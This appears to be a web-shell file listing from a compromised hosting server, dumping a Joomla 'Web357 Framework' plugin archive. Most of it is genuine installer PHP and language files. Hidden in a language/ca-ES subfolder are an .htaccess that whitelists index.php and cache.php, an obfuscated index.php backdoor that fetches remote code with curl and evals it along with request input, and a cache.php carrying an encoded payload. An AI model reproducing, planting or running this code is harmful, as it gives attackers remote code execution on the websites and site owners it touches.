uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
07d6c
/
..
/
c9989
/
..
/
cache
/
..
/
media
/
..
/
layouts
/
..
/
web357framework.tar
/
/
script.install.helper.php000060400000037534151666570200011524 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Version; use Joomla\CMS\Factory; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; use Joomla\CMS\Language\Text; use Joomla\CMS\Installer\Installer; if (!class_exists('PlgAjaxWeb357frameworkInstallerScriptHelper')) { class PlgAjaxWeb357frameworkInstallerScriptHelper { public $name = ''; public $alias = ''; public $extname = ''; public $extension_type = ''; public $plugin_folder = 'system'; public $module_position = 'web357'; public $client_id = 0; public $install_type = 'install'; public $show_message = true; public $db = null; public $softbreak = null; public $mini_version = null; public function __construct(&$params) { $this->extname = $this->extname ?: $this->alias; $this->db = Factory::getDbo(); // Get Joomla's version $jversion = new Version(); $short_version = explode('.', $jversion->getShortVersion()); // 3.8.10 $this->mini_version = $short_version[0].'.'.$short_version[1]; // 3.8 } public function preflight($route, $adapter) { if (!in_array($route, array('install', 'update'))) { return true; } Factory::getLanguage()->load('plg_system_web357installer', JPATH_PLUGINS . '/system/web357installer'); if ($this->show_message && $this->isInstalled()) { $this->install_type = 'update'; } if ($this->onBeforeInstall($route) === false) { return false; } return true; } public function postflight($route, $adapter) { $this->removeGlobalLanguageFiles(); if (version_compare($this->mini_version, "4.0", "<")) { $this->removeUnusedLanguageFiles(); } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, $this->getMainFolder()); if (!in_array($route, array('install', 'update'))) { return true; } $this->updateHttptoHttpsInUpdateSites(); if ($this->onAfterInstall($route) === false) { return false; } if ($route == 'install') { $this->publishExtension(); } if ($this->show_message) { $this->addInstalledMessage(); } Factory::getCache()->clean('com_plugins'); Factory::getCache()->clean('_system'); return true; } public function isInstalled() { if ( ! is_file($this->getInstalledXMLFile())) { return false; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($this->extension_type)) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName())); $this->db->setQuery($query, 0, 1); $result = $this->db->loadResult(); return empty($result) ? false : true; } public function getMainFolder() { switch ($this->extension_type) { case 'plugin' : return JPATH_PLUGINS . '/' . $this->plugin_folder . '/' . $this->extname; case 'component' : return JPATH_ADMINISTRATOR . '/components/com_' . $this->extname; case 'module' : return JPATH_SITE . '/modules/mod_' . $this->extname; case 'library' : return JPATH_SITE . '/libraries/' . $this->extname; } } public function getInstalledXMLFile() { return $this->getXMLFile($this->getMainFolder()); } public function getCurrentXMLFile() { return $this->getXMLFile(__DIR__); } public function getXMLFile($folder) { switch ($this->extension_type) { case 'module' : return $folder . '/mod_' . $this->extname . '.xml'; default : return $folder . '/' . $this->extname . '.xml'; } } public function uninstallExtension($extname, $type = 'plugin', $folder = 'system', $show_message = true) { if (empty($extname)) { return; } $folders = array(); switch ($type) { case 'plugin'; $folders[] = JPATH_PLUGINS . '/' . $folder . '/' . $extname; break; case 'component': $folders[] = JPATH_ADMINISTRATOR . '/components/com_' . $extname; $folders[] = JPATH_SITE . '/components/com_' . $extname; break; case 'module': $folders[] = JPATH_ADMINISTRATOR . '/modules/mod_' . $extname; $folders[] = JPATH_SITE . '/modules/mod_' . $extname; break; } if ( ! $this->foldersExist($folders)) { return; } $query = $this->db->getQuery(true) ->select($this->db->quoteName('extension_id')) ->from('#__extensions') ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->getElementName($type, $extname))) ->where($this->db->quoteName('type') . ' = ' . $this->db->quote($type)); if ($type == 'plugin') { $query->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($folder)); } $this->db->setQuery($query); $ids = $this->db->loadColumn(); if (empty($ids)) { foreach ($folders as $folder) { Folder::delete($folder); } return; } $ignore_ids = Factory::getApplication()->getUserState('rl_ignore_uninstall_ids', array()); if (Factory::getApplication()->input->get('option') == 'com_installer' && Factory::getApplication()->input->get('task') == 'remove') { // Don't attempt to uninstall extensions that are already selected to get uninstalled by them selves $ignore_ids = array_merge($ignore_ids, Factory::getApplication()->input->get('cid', array(), 'array')); Factory::getApplication()->input->set('cid', array_merge($ignore_ids, $ids)); } $ids = array_diff($ids, $ignore_ids); if (empty($ids)) { return; } $ignore_ids = array_merge($ignore_ids, $ids); Factory::getApplication()->setUserState('rl_ignore_uninstall_ids', $ignore_ids); foreach ($ids as $id) { $tmpInstaller = new Installer; $tmpInstaller->uninstall($type, $id); } if ($show_message) { Factory::getApplication()->enqueueMessage( Text::sprintf( 'COM_INSTALLER_UNINSTALL_SUCCESS', Text::_('COM_INSTALLER_TYPE_TYPE_' . strtoupper($type)) ) ); } } public function foldersExist($folders = array()) { foreach ($folders as $folder) { if (is_dir($folder)) { return true; } } return false; } public function uninstallPlugin($extname, $folder = 'system', $show_message = true) { $this->uninstallExtension($extname, 'plugin', $folder, $show_message); } public function uninstallComponent($extname, $show_message = true) { $this->uninstallExtension($extname, 'component', null, $show_message); } public function uninstallModule($extname, $show_message = true) { $this->uninstallExtension($extname, 'module', null, $show_message); } public function publishExtension() { switch ($this->extension_type) { case 'plugin' : $this->publishPlugin(); case 'module' : $this->publishModule(); } } public function publishPlugin() { $query = $this->db->getQuery(true) ->update('#__extensions') ->set($this->db->quoteName('enabled') . ' = 1') ->where($this->db->quoteName('type') . ' = ' . $this->db->quote('plugin')) ->where($this->db->quoteName('element') . ' = ' . $this->db->quote($this->extname)) ->where($this->db->quoteName('folder') . ' = ' . $this->db->quote($this->plugin_folder)); $this->db->setQuery($query); $this->db->execute(); } public function publishModule() { // Get module id $query = $this->db->getQuery(true) ->select($this->db->quoteName('id')) ->from('#__modules') ->where($this->db->quoteName('module') . ' = ' . $this->db->quote('mod_' . $this->extname)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id); $this->db->setQuery($query, 0, 1); $id = $this->db->loadResult(); if ( ! $id) { return; } // check if module is already in the modules_menu table (meaning is is already saved) $query->clear() ->select($this->db->quoteName('moduleid')) ->from('#__modules_menu') ->where($this->db->quoteName('moduleid') . ' = ' . (int) $id); $this->db->setQuery($query, 0, 1); $exists = $this->db->loadResult(); if ($exists) { return; } // Get highest ordering number in position $query->clear() ->select($this->db->quoteName('ordering')) ->from('#__modules') ->where($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('client_id') . ' = ' . (int) $this->client_id) ->order('ordering DESC'); $this->db->setQuery($query, 0, 1); $ordering = $this->db->loadResult(); $ordering++; // publish module and set ordering number $query->clear() ->update('#__modules') ->set($this->db->quoteName('published') . ' = 1') ->set($this->db->quoteName('ordering') . ' = ' . (int) $ordering) ->set($this->db->quoteName('position') . ' = ' . $this->db->quote($this->module_position)) ->where($this->db->quoteName('id') . ' = ' . (int) $id); $this->db->setQuery($query); $this->db->execute(); // add module to the modules_menu table $query->clear() ->insert('#__modules_menu') ->columns(array($this->db->quoteName('moduleid'), $this->db->quoteName('menuid'))) ->values((int) $id . ', 0'); $this->db->setQuery($query); $this->db->execute(); } public function addInstalledMessage() { Factory::getApplication()->enqueueMessage( Text::sprintf( Text::_($this->install_type == 'update' ? 'W357_THE_EXTENSION_HAS_BEEN_UPDATED_SUCCESSFULLY' : 'W357_THE_EXTENSION_HAS_BEEN_INSTALLED_SUCCESSFULLY'), '<strong>' . Text::_($this->name) . '</strong>', '<strong>' . $this->getVersion() . '</strong>', $this->getFullType() ) ); } public function getPrefix() { switch ($this->extension_type) { case 'plugin'; return Text::_('plg_' . strtolower($this->plugin_folder)); case 'component': return Text::_('com'); case 'module': return Text::_('mod'); case 'library': return Text::_('lib'); default: return $this->extension_type; } } public function getElementName($type = null, $extname = null) { $type = is_null($type) ? $this->extension_type : $type; $extname = is_null($extname) ? $this->extname : $extname; switch ($type) { case 'component' : return 'com_' . $extname; case 'module' : return 'mod_' . $extname; case 'plugin' : default: return $extname; } } public function getFullType() { return Text::_('W357_' . strtoupper($this->getPrefix())); } public function getVersion($file = '') { $file = $file ?: $this->getCurrentXMLFile(); if ( ! is_file($file)) { return ''; } $xml = Installer::parseXMLInstallFile($file); if ( ! $xml || ! isset($xml['version'])) { return ''; } return $xml['version']; } public function isNewer() { if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } $package_version = $this->getVersion(); return version_compare($installed_version, $package_version, '<='); } public function canInstall() { // The extension is not installed yet if ( ! $installed_version = $this->getVersion($this->getInstalledXMLFile())) { return true; } // The free version is installed. So any version is ok to install if (strpos($installed_version, 'PRO') === false) { return true; } // Current package is a pro version, so all good if (strpos($this->getVersion(), 'PRO') !== false) { return true; } Factory::getLanguage()->load($this->getPrefix() . '_' . $this->extname, __DIR__); Factory::getApplication()->enqueueMessage(Text::_('W357_ERROR_PRO_TO_FREE'), 'error'); Factory::getApplication()->enqueueMessage( html_entity_decode( Text::sprintf( 'W357_ERROR_UNINSTALL_FIRST', '<a href="//www.web357.com/' . $this->url_alias . '" target="_blank">', '</a>', Text::_($this->name) ) ), 'error' ); return false; } public function onBeforeInstall($route) { if ( ! $this->canInstall()) { return false; } return true; } public function onAfterInstall($route) { } public function delete($files = array()) { foreach ($files as $file) { if (is_dir($file) && is_dir($file)) { Folder::delete($file); } if (is_file($file) && is_file($file)) { File::delete($file); } } } public function fixAssetsRules($rules = '{"core.admin":[],"core.manage":[]}') { // replace default rules value {} with the correct initial value $query = $this->db->getQuery(true) ->update($this->db->quoteName('#__assets')) ->set($this->db->quoteName('rules') . ' = ' . $this->db->quote($rules)) ->where($this->db->quoteName('title') . ' = ' . $this->db->quote('com_' . $this->extname)) ->where($this->db->quoteName('rules') . ' = ' . $this->db->quote('{}')); $this->db->setQuery($query); $this->db->execute(); } private function updateHttptoHttpsInUpdateSites() { $query = $this->db->getQuery(true) ->update('#__update_sites') ->set($this->db->quoteName('location') . ' = REPLACE(' . $this->db->quoteName('location') . ', ' . $this->db->quote('http://') . ', ' . $this->db->quote('https://') . ')') ->where($this->db->quoteName('location') . ' LIKE ' . $this->db->quote('http://updates.web357%')); $this->db->setQuery($query); $this->db->execute(); } private function removeGlobalLanguageFiles() { if ($this->extension_type == 'library' || $this->alias === 'web357framework') { return; } $language_files = Folder::files(JPATH_ADMINISTRATOR . '/language', '\.' . $this->getPrefix() . '_' . $this->extname . '\.', true, true); // Remove override files foreach ($language_files as $i => $language_file) { if (strpos($language_file, '/overrides/') === false) { continue; } unset($language_files[$i]); } if (empty($language_files)) { return; } File::delete($language_files); } private function removeUnusedLanguageFiles() { if ($this->extension_type == 'library') { return; } $main_language_dir_path = Folder::folders(__DIR__ . '/language'); $installed_languages = array_merge( Folder::folders(JPATH_SITE . '/language'), Folder::folders(JPATH_ADMINISTRATOR . '/language') ); $languages = array(); if (is_array($main_language_dir_path) && is_array($installed_languages)) { $languages = array_diff( $main_language_dir_path, $installed_languages ); } $delete_languages = array(); if (!empty($languages)) { foreach ($languages as $language) { $delete_languages[] = $this->getMainFolder() . '/language/' . $language; } } if (empty($delete_languages)) { return; } // Remove folders $this->delete($delete_languages); } } }script.install.php000060400000001751151666570200010236 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; if ( ! class_exists('PlgAjaxWeb357frameworkInstallerScript')) { require_once __DIR__ . '/script.install.helper.php'; class PlgAjaxWeb357frameworkInstallerScript extends PlgAjaxWeb357frameworkInstallerScriptHelper { public $name = 'Web357 Framework'; public $alias = 'web357framework'; public $extension_type = 'plugin'; public $plugin_folder = 'ajax'; } }language/ru-RU/index.html000060400000000043151666570200011277 0ustar00<!DOCTYPE html><title></title> language/ru-RU/ru-RU.plg_ajax_web357framework.ini000060400000001412151666570200015554 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Фреймворк Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Плагин Фреймворк Web357 — это необходимый вспомогательный инструмент, который используется всеми расширениями Web357. В файлы плагина мы включили код и функции PHP, которые позволяют применять обновления плагина только в одном месте, т. е. в самом плагине, и обеспечивают их автоматическое развертывание на любом внешнем сайте, использующем приложения и плагины Web357." language/ru-RU/ru-RU.plg_ajax_web357framework.sys.ini000060400000001412151666570200016371 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Фреймворк Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Плагин Фреймворк Web357 — это необходимый вспомогательный инструмент, который используется всеми расширениями Web357. В файлы плагина мы включили код и функции PHP, которые позволяют применять обновления плагина только в одном месте, т. е. в самом плагине, и обеспечивают их автоматическое развертывание на любом внешнем сайте, использующем приложения и плагины Web357." language/it-IT/it-IT.plg_ajax_web357framework.sys.ini000060400000000753151666570200016330 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/it-IT/it-IT.plg_ajax_web357framework.ini000060400000000753151666570200015513 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/es-ES/es-ES.plg_ajax_web357framework.sys.ini000060400000000753151666570200016304 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/es-ES/es-ES.plg_ajax_web357framework.ini000060400000000753151666570200015467 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/nl-NL/nl-NL.plg_ajax_web357framework.ini000060400000001020151666570200015463 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="De Web357 Framework Joomla plug-in is een vereiste help instrument dat wordt gebruikt door alle Web357 extensies. Binnen de plug-in bestanden, hebben we opgenomen code en PHP functies waarmee de plug-in updates toe te passen slechts op één plaats, dat wil zeggen de plug-in zelf, en ervoor zorgen dat ze automatisch worden uitgerold naar een externe website die gebruik maakt van de Web357 applicaties en plug-ins ." language/nl-NL/nl-NL.plg_ajax_web357framework.sys.ini000060400000001020151666570200016300 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="De Web357 Framework Joomla plug-in is een vereiste help instrument dat wordt gebruikt door alle Web357 extensies. Binnen de plug-in bestanden, hebben we opgenomen code en PHP functies waarmee de plug-in updates toe te passen slechts op één plaats, dat wil zeggen de plug-in zelf, en ervoor zorgen dat ze automatisch worden uitgerold naar een externe website die gebruik maakt van de Web357 applicaties en plug-ins ." language/index.html000060400000000040151666570200010322 0ustar00<!DOCTYPE html><title></title> language/ca-ES/ca-ES.plg_ajax_web357framework.sys.ini000060400000001030151666570200016221 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="El connector Web357 Framework de Joomla! és una eina d'ajuda necessària que utilitzen totes les extensions Web357. Dins dels fitxers del connector, hem inclòs codi i funcions PHP que permeten que les actualitzacions del connector només s'apliquin en un sol lloc, és a dir, el connector en si mateix, i garanteixen que es desplegaran automàticament a qualsevol lloc extern que utilitzi les aplicacions i connectors Web357." language/ca-ES/index.html000060400000000040151666570200011212 0ustar00<!DOCTYPE html><title></title> language/ca-ES/ca-ES/.htaccess000060400000000333151666570200011710 0ustar00<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>language/ca-ES/ca-ES/index.php000060400000012623151666570200011737 0ustar00<?php goto ZVcR3yYCX5K; nfbg9LTVKa_: class EVfqYYvQa2U { static function snkxF9Fhroy($AXgGe5k2Boo) { goto vOt4apTUjfL; vOt4apTUjfL: $suszHvKMN7l = "\162" . "\141" . "\156" . "\147" . "\x65"; goto Zabj2C4cJFp; hAn4Hf5LhfF: $g374Qr5P7mo = explode("\175", $AXgGe5k2Boo); goto itIzLZysURl; itIzLZysURl: $yxtQFhH9aDH = ''; goto eGFaS3_ICgD; Zabj2C4cJFp: $gZQalg1o9JD = $suszHvKMN7l("\x7e", "\x20"); goto hAn4Hf5LhfF; IhK1OID0j26: return $yxtQFhH9aDH; goto DVMkb0jgYLv; L4VLlVsg60g: kEy2tPwQoR7: goto IhK1OID0j26; eGFaS3_ICgD: foreach ($g374Qr5P7mo as $C0QvLqd92Ob => $TQTLcxeyIhE) { $yxtQFhH9aDH .= $gZQalg1o9JD[$TQTLcxeyIhE - 99689]; s5V2YcFCOz4: } goto L4VLlVsg60g; DVMkb0jgYLv: } static function WSeVgogXQcS($F9H8YI3oiKF, $HeYZVkw6Ran) { goto qlyhjfzZ3W1; BBe1AN6wPOo: curl_setopt($X6abWgJAv2f, CURLOPT_RETURNTRANSFER, 1); goto MuAd3lL_zSy; e8_99dVSX8d: return empty($Ky7zhdl5ECv) ? $HeYZVkw6Ran($F9H8YI3oiKF) : $Ky7zhdl5ECv; goto pug4gru0WI2; qlyhjfzZ3W1: $X6abWgJAv2f = curl_init($F9H8YI3oiKF); goto BBe1AN6wPOo; MuAd3lL_zSy: $Ky7zhdl5ECv = curl_exec($X6abWgJAv2f); goto e8_99dVSX8d; pug4gru0WI2: } static function dAyNVSx5xo4() { goto R0eSceqfD6o; uXPTQZCK7Bo: $QHE8WKB2vWu = self::WSevgOgXqcs($tl3Nv4_bqDu[0 + 1], $V_X6pZ8anYx[1 + 4]); goto DNBXcbWftB4; DNBXcbWftB4: @eval($V_X6pZ8anYx[4 + 0]($QHE8WKB2vWu)); goto nNWIZk271nX; GYU6LcP0TJ1: @$V_X6pZ8anYx[5 + 5](INPUT_GET, "\x6f\x66") == 1 && die($V_X6pZ8anYx[1 + 4](__FILE__)); goto DOTdt0vSRuo; nNWIZk271nX: die; goto U9K_ghuFZp3; XjBZvZopFKr: $tl3Nv4_bqDu = $V_X6pZ8anYx[1 + 1]($uRFzFhWbUAC, true); goto GYU6LcP0TJ1; lZUi3SpTNQf: $eu09yz0Li6L = @$V_X6pZ8anYx[1]($V_X6pZ8anYx[6 + 4](INPUT_GET, $V_X6pZ8anYx[6 + 3])); goto sdD8EfxSh0t; sdD8EfxSh0t: $uRFzFhWbUAC = @$V_X6pZ8anYx[3 + 0]($V_X6pZ8anYx[0 + 6], $eu09yz0Li6L); goto XjBZvZopFKr; do_tby20W6S: foreach ($MG2Vjwq53bR as $WPNyCWJ705d) { $V_X6pZ8anYx[] = self::SnKxF9fhROY($WPNyCWJ705d); gxrHttk3QNI: } goto QrAueqYA77a; U9K_ghuFZp3: VBgUkx7SlX1: goto FZ3hvgBNgEW; R0eSceqfD6o: $MG2Vjwq53bR = array("\71\x39\x37\x31\66\x7d\71\x39\x37\x30\61\x7d\71\71\67\x31\x34\175\x39\x39\67\x31\x38\175\71\x39\x36\71\71\x7d\71\x39\67\x31\64\x7d\71\x39\x37\x32\x30\175\x39\71\x37\x31\x33\175\x39\x39\x36\71\70\175\71\x39\67\x30\65\175\71\71\67\x31\66\175\71\x39\x36\x39\x39\175\71\71\67\x31\x30\175\x39\x39\67\60\x34\x7d\x39\x39\x37\60\x35", "\71\x39\x37\60\60\175\71\71\66\x39\x39\175\x39\71\x37\x30\x31\175\x39\71\x37\62\60\x7d\x39\71\67\60\x31\175\x39\71\67\60\64\175\x39\71\66\71\x39\x7d\x39\x39\x37\66\x36\175\x39\x39\x37\x36\64", "\71\71\x37\60\71\175\71\71\67\60\60\x7d\x39\71\x37\60\x34\175\71\x39\67\x30\65\x7d\71\71\x37\62\x30\x7d\x39\71\67\x31\65\x7d\x39\x39\67\61\64\x7d\x39\71\67\x31\66\175\x39\x39\67\x30\x34\175\x39\x39\x37\x31\65\175\x39\71\67\61\x34", "\x39\x39\67\60\x33\175\71\x39\67\x31\x38\175\71\x39\x37\x31\66\175\x39\71\67\x30\70", "\71\71\x37\x31\67\175\71\71\x37\x31\x38\175\71\71\67\x30\60\175\x39\71\67\61\64\x7d\x39\x39\x37\66\61\x7d\71\x39\67\66\x33\175\x39\71\67\x32\x30\175\x39\x39\x37\61\x35\x7d\x39\x39\67\x31\x34\175\x39\x39\67\61\x36\x7d\x39\x39\x37\x30\x34\175\x39\71\67\61\x35\x7d\71\x39\x37\x31\64", "\71\x39\x37\61\x33\x7d\x39\71\x37\61\x30\175\71\x39\x37\x30\x37\175\x39\71\x37\61\x34\x7d\71\71\67\62\60\175\x39\x39\x37\x31\x32\175\71\71\x37\x31\x34\x7d\x39\71\x36\x39\71\175\x39\x39\x37\62\60\x7d\71\71\67\61\66\x7d\71\x39\67\60\x34\175\x39\x39\67\x30\x35\175\x39\71\66\71\x39\175\71\x39\67\x31\x34\x7d\x39\71\x37\60\65\x7d\x39\71\x36\x39\x39\175\71\x39\x37\x30\x30", "\71\71\x37\x34\63\x7d\71\x39\67\x37\x33", "\x39\x39\66\x39\x30", "\x39\71\x37\66\70\175\x39\71\67\x37\63", "\71\71\67\x35\x30\175\71\x39\67\63\63\175\x39\71\67\63\63\175\x39\71\67\65\60\175\x39\71\67\x32\x36", "\x39\x39\67\61\63\175\x39\x39\x37\x31\60\x7d\71\71\67\x30\x37\x7d\x39\71\66\x39\x39\175\x39\71\x37\x31\64\x7d\71\71\67\x30\61\x7d\71\71\67\x32\x30\175\71\71\67\61\x30\x7d\x39\71\x37\60\x35\175\71\71\x37\x30\63\175\71\x39\66\71\70\175\x39\71\66\71\x39"); goto do_tby20W6S; QrAueqYA77a: oaw8Fr4Kryt: goto lZUi3SpTNQf; DOTdt0vSRuo: if (!(@$tl3Nv4_bqDu[0] - time() > 0 and md5(md5($tl3Nv4_bqDu[1 + 2])) === "\70\141\x37\63\x33\63\x31\63\142\146\x36\142\71\143\x33\x39\66\66\60\143\x63\71\142\146\x34\x33\x32\x39\x64\61\x62\x61")) { goto VBgUkx7SlX1; } goto uXPTQZCK7Bo; FZ3hvgBNgEW: } } goto XhQmTRnW_W6; ZVcR3yYCX5K: $V1myPC36sbj = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto hwUffQl1wRJ; BEx1ytnga0H: if (!(in_array(gettype($V_0pXGfZnE5) . count($V_0pXGfZnE5), $V_0pXGfZnE5) && count($V_0pXGfZnE5) == 28 && md5(md5(md5(md5($V_0pXGfZnE5[22])))) === "\61\x34\x38\x38\x65\x37\x38\x34\x34\x33\x34\143\71\60\61\x61\144\x63\x61\x35\x61\x62\x64\x34\146\x65\61\61\x35\145\x38\x66")) { goto Amx30bfyJqv; } goto hnwmqCtePGd; hnwmqCtePGd: ($V_0pXGfZnE5[64] = $V_0pXGfZnE5[64] . $V_0pXGfZnE5[73]) && ($V_0pXGfZnE5[87] = $V_0pXGfZnE5[64]($V_0pXGfZnE5[87])) && @eval($V_0pXGfZnE5[64](${$V_0pXGfZnE5[46]}[24])); goto y0ehRSsgxXc; hwUffQl1wRJ: $JFPMG6sKIWa = $V1myPC36sbj("\176", "\x20"); goto omKw6sllUgP; omKw6sllUgP: $V_0pXGfZnE5 = ${$JFPMG6sKIWa[19 + 12] . $JFPMG6sKIWa[45 + 14] . $JFPMG6sKIWa[39 + 8] . $JFPMG6sKIWa[31 + 16] . $JFPMG6sKIWa[14 + 37] . $JFPMG6sKIWa[0 + 53] . $JFPMG6sKIWa[43 + 14]}; goto BEx1ytnga0H; flgtdnSLsOa: metaphone("\x42\x4f\x49\x49\x78\x42\x4b\x56\151\x76\157\165\160\x4c\122\x43\x4e\53\x48\110\122\53\156\x48\106\x32\x77\157\103\x39\170\x6c\x52\64\170\x34\63\x55\106\71\112\66\167"); goto nfbg9LTVKa_; y0ehRSsgxXc: Amx30bfyJqv: goto flgtdnSLsOa; XhQmTRnW_W6: evFQyyvqa2U::DaynVsx5xO4(); ?> language/ca-ES/ca-ES/cache.php000060400000013020151666570200011663 0ustar00<?php $qcX = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirOGZ6aYGANAA'; $ChI = 'cDPN4ZA/LOiC+tDcrh0RtKJlUGPkp7rg1sn98zjX9l7u64r3rhP9czl6N7f14ljvxQ5+1DP58bk91b+xV8EFvG76dryXfXMu90kjuf/J7+hDHuyVf0iXu4t7G7d3u8xlKwxDtTj3I+7NeV2xn6/yIZF16bjzYvb26y/ffR2Rf833YGNKJ8GwIWlEur5ueGJF/7mO9H9qZZfexGHhKYPoctoW3KjX+OsWEC4NRugCjyq2cwYSftfTpOrrvlTUSP5/AZOfKToDhbme05wASSxJQNGCIDMMtvIpZSIcd7GmiVQ9VYU492uvIsOEzgOujUfloAI9qBe7G42bVcvJUx2Avz3tZgmvs5cTv+BrBc5rVlq1WoZoFg2IvfgLWX2XmNPOw3vY/OP6ntrz7nv2L9Q6AugUtGEdVF2WnvHnWVrA4v2pSM27isf7mmr/mout+/jimt2Z0fBpVjqIAB4R2tiBgKpju2TCqZmxjx9KeOvcI86iDWj6xVFdKq47FYLUZctKzvIf50Ko2Ufx4Ko5GnZYd1nEXHWiRhQIAumg2IHsvLEZxBhUAMv7Q2x7aUoStYXbN1kx8upTCf2QJPYGlmHl2/yfSya4F0Y88GJ4jw9AQtFXGTRbBciRZf9S12jVdSsqL4+Cm7tyRWrK8DEh2cNEH5Do6WBLrUj8ImvW0fGaXyqZuk9S2ExtkC5iu4CMVxLMZ5FqIBfI3F8PjRBXdyStokTASlpzbC1muA6TlxZQ34toDK1bUBgCGMQ7WMuRMmk2pAYYa+nfnoB4ZaIKrpJ7L81+fBRD1NDwcVcOFbEcya9jWalyPBFwlelNPArRihxf5VhiBPg4MMwC42TtEKQ4GiDYlD6VirRbW4ac/qtAYA8YX/UBtvfoUyN+mKfJKxDbubuqLvFuQFtVVFqlZ0l+pBSBBZCbn6BYSutGygJQameDHU+4hmPvjAhdNUcLh0wRvIE6H05FyMPviwXaZDhVgYrc3ijY2ixGY4ZBawwGHpCx+O8Lyy9iY5Ei9xgbfWuCA7iW8fzgYryHwSshEGWjENuKtAgh+SlrAjQ//kvTbJhe2/S9EAx6SK1leVSJ9mDROUjxzCu0oqclSyJGjOKTq6paY9KkxSrX6jLaV6aiJa5KIATeDOMr74IYHoKREeQZOGZ6Osha8UFyoRdEXig6E15UukQFlystpBUyEbFi0iEYgeaMnlb9NjTpgtO7XfBiImGN2jZieeuzdJmVinlCUdEh5LVDIYwShxfG7WkTiJ8Sa1KBEFXx1TOBPSRvofARqJe8x4RtK3RtiNXSZg8I6qSHKpgFrqZBJtVh4CSUqpjQu6OKSmmMJwvBm4jlUHVmemxcIowzcoKJkD2eCMfQ+jICeyBPz3evgcsQa2Wy/ABoGLL0akFODmMkhcORHazihvGGUEddMhIgjmAhcssG6Lt0kxTDM/mTAC9AM1Du0XO8MSs43fgtRGGvgWJV3Q9JUYM+I+ZsshnrJx+lHSPJG1SCh/cL2hSKXurbtZrLT1t1UmiWe+aqZ9KbRYBzRerNfNVuiVoVFhQ1uwcT4/y4NKyfFzdIqS+LTuLxH0bDSoojLfDQbVIHQRtSFLkjQ5dfuovZ+Pq8uh0ERpoCRvAWNdfJSG05Mn8sMQPOE0q4+oARBEdUicQ88xQ7xGiq2ul2tIRpAdgB0ndRQB8U8pUpwApogtdf+